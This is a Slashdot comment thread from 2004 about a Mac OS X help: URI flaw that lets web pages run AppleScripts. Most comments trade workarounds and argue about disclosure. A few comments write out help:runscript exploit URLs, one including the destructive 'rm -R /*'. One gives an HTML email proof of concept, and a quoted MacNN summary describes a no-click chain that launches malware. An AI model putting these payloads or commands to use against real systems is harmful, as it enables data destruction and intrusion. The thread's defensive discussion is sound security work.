You didn't make anything clear, pudge. The impression you gave me is that you prefer Apple's reputation over mac user's security. And that is why I am as mad as hell.

That won't make a difference by Carthag · 2004-05-17 08:53 · Score: 2, Informative

It's the OS that handles the help: protocol and delegates it to whatever app is assigned, regardless of what browser you're using.

Re:That won't make a difference by hawaiian717 · 2004-05-17 12:24 · Score: 1

As pointed out in another post, however, Firefox asks what to do with the .dmg file (open or save) before downloading it. I just tried it, and hit cancel. Help Viewer started but then I got an error stating "The item could not be opened. It could be disabled or not installed." So there is some measure of protection to be gained from using Firefox.

--
End of Line.
Re:That won't make a difference by prockcore · 2004-05-17 17:49 · Score: 1

As pointed out in another post, however, Firefox asks what to do with the .dmg file (open or save) before downloading it.

That's what safari should do. Safari's default (download, mount, open), is horrible. First, because if you already have the download manager open, it will *NOT* pop to the front when you download a file. Second, the finder will *NOT* update the desktop until you click on it.

Therefore, you have no way of knowing that the page you're visiting just downloaded and mounted something on your system.

Possible workaround ... by Durandal64 · 2004-05-17 09:04 · Score: 3, Insightful

I'm too lazy to try and implement this, but what you could do is write an AppleScript to receive all calls to the help protocol. So whenever there's a help: URL, your little AppleScript goes up, notifying you that something is trying to open a help: URL, which is a security vulnerability. Then either allow or deny. If the user allows it, pass the URL along to Help Viewer.app. Then just use something like MoreInternet to point the help: protocol to that script.

Like I said though, I'm too lazy to try it right now.

OmniWeb and other browsers too by chigaze · 2004-05-17 09:39 · Score: 3, Informative

The proof of concept also runs from the OmniWeb 5 Beta and Internet Explorer 5.2.

It could also run from FireFox although because FireFox checks to see if you really want to download an executable, help tries to run the script before it's actually there.

It fails in Opera with the error "The address type is unknown or unsupported."

Those are all the browsers I have to check on.

No,:That won't make a difference by WiseWeasel · 2004-05-17 13:53 · Score: 2, Informative

It's not just dmgs that cause the problem. Check out the (fortunately harmless) site here:
http://bronosky.com/pub/AppleScript.htm
Th is is as serious and critical as they get, and it's not limited to any browser. They're all affected.

--
"I like systems, their application excepted", George Sand (French)

Re:No,:That won't make a difference by hawaiian717 · 2004-05-17 15:09 · Score: 1

Thanks. I hadn't seen that version, and Firefox does allow the exploit to run.

--
End of Line.
Re:No,:That won't make a difference by Anonymous Coward · 2004-05-18 00:20 · Score: 1, Funny

Opera doesn't run the links...

finally a reason to use opera

This is NOT Limited to DMGs or Safari!!! by WiseWeasel · 2004-05-17 13:56 · Score: 3, Informative

This is much more serious than the articles let on. This security vulnerability in MacOS X affects all web browsers. There's a non-malicious example of the seriousness of the problem here:
http://bronosky.com/pub/AppleScript.htm
Th at just runs a harmless script (/usr/bin/du; exit) which scrolls a bunch of text and looks scary, but it could easily have been a script to wipe your home directory, and you could have had some serious data loss (i.e. rm -rf ~/).

To fix the vulnerability, simply navigate to your MaOS X drive, go to the Library folder (not the one in your home folder, but the one in the root directory of your HD), and then to the Documentation folder, and rename the folder "Help" to something else (located at /Library/Documentation/Help). This will prevent people from linking to the script runner. This vulnerability is very serious, and doesn't even have to involve downloading a DMG. Once the "Help" folder is renamed, you won't be able to use the Mac Help center anymore, but at least you will not be at risk of having your data wiped by clicking on a link, or visiting a malicious site. DO THIS NOW!!!!!

--
"I like systems, their application excepted", George Sand (French)

Re:This is NOT Limited to DMGs or Safari!!! by WiseWeasel · 2004-05-17 14:11 · Score: 2, Informative

That's the MacOS X drive, not MaOS. . . but I think I was understood. This fix only affects the general Mac help, application help is not affected, and will still work. Also, you might want to rename the Help directory back to "Help" before you apply Apple's eventual patch for this.

--
"I like systems, their application excepted", George Sand (French)
Re:This is NOT Limited to DMGs or Safari!!! by nicky_d · 2004-05-17 20:36 · Score: 2

As other posts here have suggested, you can also fix the Help Viewer problem in Safari using MisFox, and in doing this you won't stop Help from working with local files and apps. I've confirmed this using the example you give at bronosky.com - it ran du the first visit (from a sacrificial account), and then I used MisFox to set textedit as the help: handler. I visited the page again and it launched textedit, which displayed nothing, and the du script had no way of launching.

Just an alternative for people who might still want to use Help locally. I've only confirmed that the MisFox solution works with Safari.

on a totally unrelated note... by ansleybean · 2004-05-17 17:44 · Score: 2, Funny

I'd like to announce the unveiling of my new website, http://www.iwilltotallyhax0ryourmac.com/evil_page. htm

Re:Pudge, you got it WRONG! More serious than this by prockcore · 2004-05-17 17:58 · Score: 1

, I'll explain: when you find an exploit, you should notify the people who can fix it (i.e., Apple). Apple should get back to you, and keep you apprised of the situation, and if Apple follows through with all this, you should NOT release the information to the public until it has been fixed.

To a point. If the odds are good that someone else already knows about this exploit, and the people who can fix it (i.e. Apple) haven't done anything about it even though they knew about it in February, you should release info. Especially since there are several ways of protecting yourself without waiting around for a patch.

Then again, I'm an Open Source advocate, and every OS vuln solved through full disclosure.

Simple fix. by narratorDan · 2004-05-17 17:59 · Score: 2, Informative

The default settings for the DiskImages.framework is located here: /System/Library/PrivateFrameworks/DiskImages.frame work/Versions/A/Resources/defaults.plist

One can change an interesting setting called "force-idme" from the standard "no" to "yes" and the DiskImages.framework will treat the diskimage as if it was an "internet-enabled disk image." What this means is that it will mount the diskimage, copy it to the current directory as a folder then un-mount and then moves the disk image to the trash. There, the exploit no longer has a known location to work with. Another setting just happens to be "mount-point" which can also be changed from the default /Volumes/ to whatever one likes, say /Users/MyAccount/

Like the subject line says, simple fix.

NarratorDan

--
"If you're not confused by quantum mechanics, you really don't understand it." - Niels Bohr

Re:Pudge, you got it WRONG! More serious than this by pudge · 2004-05-17 18:47 · Score: 1

What I am referring to is the RFPolicy which does encourage full disclosure, however: "Provided you cooperate with the researcher and keep them 'in the loop', they should provide you with whatever time necessary to resolve the ISSUE." This is what I am referring to: if the issue is disclosed without being resolved, then someone has dropped the ball. Yes, if Apple doesn't "do anything about it," it could be disclosed, but that just means the process has broken down.

Omni users, here is the fix (hopely) by Ilgaz · 2004-05-17 19:44 · Score: 1

I am licensed Omniweb 5 user, using latest beta.

There is downloads in preferences and there is "edit safe applications list", from there I removed Help viewer and Disk Image mounter.

The concept worked, Help application opened but Disk image was not mounted.

I mailed them already about what to do about this exploit but I don't think they are awake now :)

Re:Pudge, you got it WRONG! More serious than this by Ilgaz · 2004-05-17 19:53 · Score: 1

ltns Pudge ;)

If you have read what happened to poor French company "Intego" proving there can be a serious security problem about how finder deals with files, you would post this story as AC IMHO ;)

Poor guys got nearly executed by community.

There can't be any security problem on OSX! Its not Windows man! How much did BillG paid you to post it?!! :)))

Or or... VA Linux conspiracy?

A problem wider than it at first seems? by babbage · 2004-05-18 01:34 · Score: 2, Interesting

It occurs to me that this problem could be broader than is being portrayed.

Consider: the fundamental issue here is that an OSX web browser -- Safari in the original reports, but apparently also Mozilla etc -- is acting as a broker for any URI that the user may come across, delegating the request out to external handler programs. Whether those external programs handle their URIs safely may be an open question.

The problem isn't really that Safari or Help is broken, but that the interaction between them, arising from the URI handling mechanism on OSX, is leading to Unintended Consequences.

OSX can handle many different URI namespaces, some of which seem to be used nowhere other than OSX. I'm having a hard time finding an exhaustive list of the URI protocols that OSX supports, but a partial list includes, in no particular order:

http:// https:// ftp:// mailto:// ssh:// telnet:// aim:// afp:// nfs:// smb:// sherlock:// itms:// daap:// help://

So far, I can think of published vulnerabilities in the telnet:// and now help:// protocols, but is that the end of it, or is the whole framework vulnerable to these sorts of attacks?

I have a hunch that we're just seeing the thin edge of the wedge...

--
DO NOT LEAVE IT IS NOT REAL

And the problem is...? by Eowaennor · 2004-05-18 01:42 · Score: 1

This doesn't work at all on my machine... After Help Viewer opens, I get a dialog saying: "The item cannot be opened. It may be disabled or not installed." Yes Safari automounts DMG's and no I havent changed anything in Internet Config.

Re:Um, what privileges does it run at? by jgs · 2004-05-18 02:08 · Score: 1

I think it's too facile to say that running your web browser in an untrusted box is an adequate answer. There are all sorts of reasons why it's not. Just for starters, it's horrible from the user experience perspective. Yeah, fast user switching is neato, but it's not meant to be a way to switch between apps which is effectively what you're proposing. Using it that way moves the user experience all the way back to the days of Andy Hertzfeld's Switcher, before System 6 introduced Multifinder.

You're right in your second paragraph though -- Apple does need to fix this. Until they do, I'd prefer to use the hack of moving/deleting/retargeting/changing permissions on the Help app rather than reverting to a 1986 UI.

By the way, do you run Safari in its own untrusted account?

(I don't even want to get into the discussion of how the logical conclusion of the approach you're espousing would be a separate, untrusted account for every single app you run.)

I bet Apple patches the hole. by ITR81 · 2004-05-18 02:08 · Score: 1

I say it's patched in less then 14 days. Maybe 7 if it's an easy fix.

Re:I bet Apple patches the hole. by Anonymous Coward · 2004-05-18 03:32 · Score: 0

> I say it's patched in less then 14 days. Maybe 7 if it's an easy fix.

According to posters on MacNN, there have been multiple attempts to make Apple aware of the problems since Februari...

Help Viewerrrrrrrrr by TitanBL · 2004-05-18 02:51 · Score: 2, Insightful

Just one more reason for Apple to rethink the whole 'Help Viewer' implementation. I don't know about you, but I despise that sluggish POS (I hate that spinning beachball). I do not even bother using it. It is faster to find 'help' via a google search. It is without question the LAMEST aspect of OS X.

Re:Pudge, you got it WRONG! More serious than this by lordDallan · 2004-05-18 03:19 · Score: 1

I hate to say this, but another alternative is to use IE5 (yuck) for the Mac.

Go into user preferences.

Expand the "Network" hierarchical menu item (by clicking its disclosure triangle).

Select the "Protocol Helpers" menu item.

Now change the "Protocol Helper Settings" for the help protocol to something innocuous like "TextEdit".

This defeats the sample exploit ("TextEdit" is open but nothing is executed).

I hope this will make Apple consider adding a "Protocol Helper" option in Safari preferences.

Wanna Bet... by XnetZERO · 2004-05-18 04:42 · Score: 1

...this bug fix will be targeted for 10.3.4?! From posts here and abroad, sounds like this is a 10.3 only issue. Remember Apple is doing no further development of Safari for the 10.2 platform. (Still miffed about this...)

Non-browser specific vulnerability by Zhe+Mappel · 2004-05-18 06:16 · Score: 1

Good point. To confirm, the vulnerability can be exploited in Safari, IE, and Mozilla.

For a demonstration, see this thread on MacCentral.

Since, according to Insecure.ws, Apple was notified of this back in February, it's fairly scandalous to be waiting for a solution in May.

Re:Non-browser specific vulnerability by babbage · 2004-05-18 06:36 · Score: 1

Apple seems to have a pretty good reputation for getting security patches out quickly, either before the issue becomes public or often within days or hours of the public announcement of a problem.
The unusually long delay in getting out a fix for this is the factor that got me thinking about how broad this vulnerability might be. The problem isn't anything to do with Safari or any particular web browser, nor is it just the Help application. Rather, the real problem is in the way the underlying system handles these URI protocols, many of which are Mac-specfic.
Patching Safari is no big deal -- we seem to get a new version of Safari with most system updates. Fixing the Help Viewer probably wouldn't be much harder. On the other hand, fixing the framework for URI handling might be much harder, because it hits so many parts of the system, and any changes to the framework is going to require extensive bug testing.
If I'm right, and that is the problem, then it wouldn't surprise me if it takes a while for a fix to come along, and it wouldn't surprise me if the fix comes in the form of a BIG download. It may be that we get only partial fixes for 10.3.x releases, and the situation won't really be corrected until 10.4 comes along.

--
DO NOT LEAVE IT IS NOT REAL

re: OSX exploit by Anonymous Coward · 2004-05-19 19:31 · Score: 0

From what I've seen, it doesn't appear possible to include spaces in the direct commands to the terminal, which would seem to make this exploit somewhat limited in terms of its effectiveness. (i.e., a command like "help:runscript=MacHelp.help/Contents/Resources/En glish.lproj/shrd/OpnApp.scpt string=usr:bin:top" will work, but something like "help:runscript=MacHelp.help/Contents/Resources/En glish.lproj/shrd/OpnApp.scpt string=rm -R /*" won't) Is this correct, or has someone found a way around that? Also, if the user browsing is logged in to a non-admin account, wouldn't this necessarily limit the scope of the command? (not that it makes a lot of difference- most casual Mac users stay logged in as "admins" 100% of the time anyway, I'd imagine)

Re:Um, what privileges does it run at? by Paradise+Pete · 2004-05-19 21:59 · Score: 1

By the way, do you run Safari in its own untrusted account?

Not yet, but I will if exploits start appearing in the wild.

It can be done by click in Apple Mail. by Gordon+Bennett · 2004-05-20 04:08 · Score: 1

I have just successfully embedded the HTML into Apple Mail (using Mozilla's HTML mail editor) and sent myself a mail with a link which once clicked runs the code. Here is the HTML:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<a
href="help:runscript=MacHelp.help/Contents/Resourc es/English.lproj/shrd/OpnApp.scpt%20string=%27usr: bin:du%27">Click to go to your next message</a><br>
</body>
</html>

It will display 'Click to go to your next message' and run the code (without visiting a web page).

Slashdot has missed the story: Serious, MacNN by Anonymous Coward · 2004-05-21 08:07 · Score: 0

The problem is a general flaw in not only URI handling but protocol registration. To see what I mean, you can read this thread at MacNN where it was fully uncovered:
http://forums.macnn.com/showthread.php ?s=&threadid =213043&perpage=50&pagenumber=1

A small group of posters quickly discovered that there is a way to automatically register an arbitrary protocol for an application. The protocol can then be used to launch the app via an OSX browser.

http://forums.macnn.com/showthread.php?s=&thread id =213043&perpage=50&pagenumber=6#post199571 0

Combine this with disk: mounting of images on a server, or autoexpanding archives, Meta refresh tags, etc., and by simply viewing a webpage malware can be launched.

Slashdot has totally missed the story here.

Here's the summary from the MacNN thread by theolein on the work done by smeger, Charles S, and Developer. People need to flood Apple with emails about this, product-security@apple.com

***************
quote:Originally posted by biscuit:
So, lemme get this straight in my head,

* A disk image can be remotely mounted with a click via the use of disk://, or d'loaded and mounted via Safari's "Open 'Safe' files..." pref
* Said disk image can be opened without user-intervention via the use of file://
* The disk image can contain an app that handles a new URL scheme, e.g. evil://
* LaunchServices will, without notification or intervention, register said URL scheme
* A refresh-tag in a web-site can call the new URL scheme without user-intervention, thus launching the app on the DMG. This app is now free to wreak havoc.
* OR the nasty app can just pretend to be one of the non-installed programs found in IC and achieve the same result.

So, Paranoid Android will save us from the new URL schemes, but what about the ones that are assigned to non-installed apps? Change them all to Chess with More Internet? And even with PA installed, I take it we still have to keep help:// away from Help Viewer.app? And probably disk:// should point to Chess too, right?

Maybe there's a reason Apple didn't respond quickly to the original exploit i.e., they found this mess themselves and are trying to find an elegant (and robust) solution?

biscuit

I think it's a bit more complicated than that. As I see at the moment:
The original problem had three parts:

* The help:// protocol could be used to launch any Applescript anywhere on the disk. (Such as the OpnApp.scpt that is all over the disk)
* The disk:// protocol could be used to force a browser to remotely, without downloading, mount a disk image, thereby giving the above problem a known path to launch an applictaion on the disk image.
* Via meta refresh tags or Javascript, the process could be done transparently in the background without the user having to click on a link. The simple visiting of a mailcious webpage would be enough.

However, the problem then got worse in that CharlesS, Developer and Smeger amongst others discovered that the actual problem is deeper than that:

* Apple LaunchServices, the API that sets which protocol helpers are bound to which applications will automatically add a new protocol helper for any application that has the relevant information in it's Info.plist etc. This means that if one browses a mounted disk image with said malicious application, a webpage that uses the new protocol added by that application will automatically launch that application.
* Apple LaunchServices will also, as Developer has noted, automatically add a new protocol and helper for the same application as mentioned above if a network share is mounted. This has consequences, I think, for schools, companies and universities, that rountinely have mounted public shares and lots of untrusted/unknowing users.
* If the "Open 'safe' files after downloadin

Slashdot Mirror

Safari Falls Victim to Remote Code Exploit

197 comments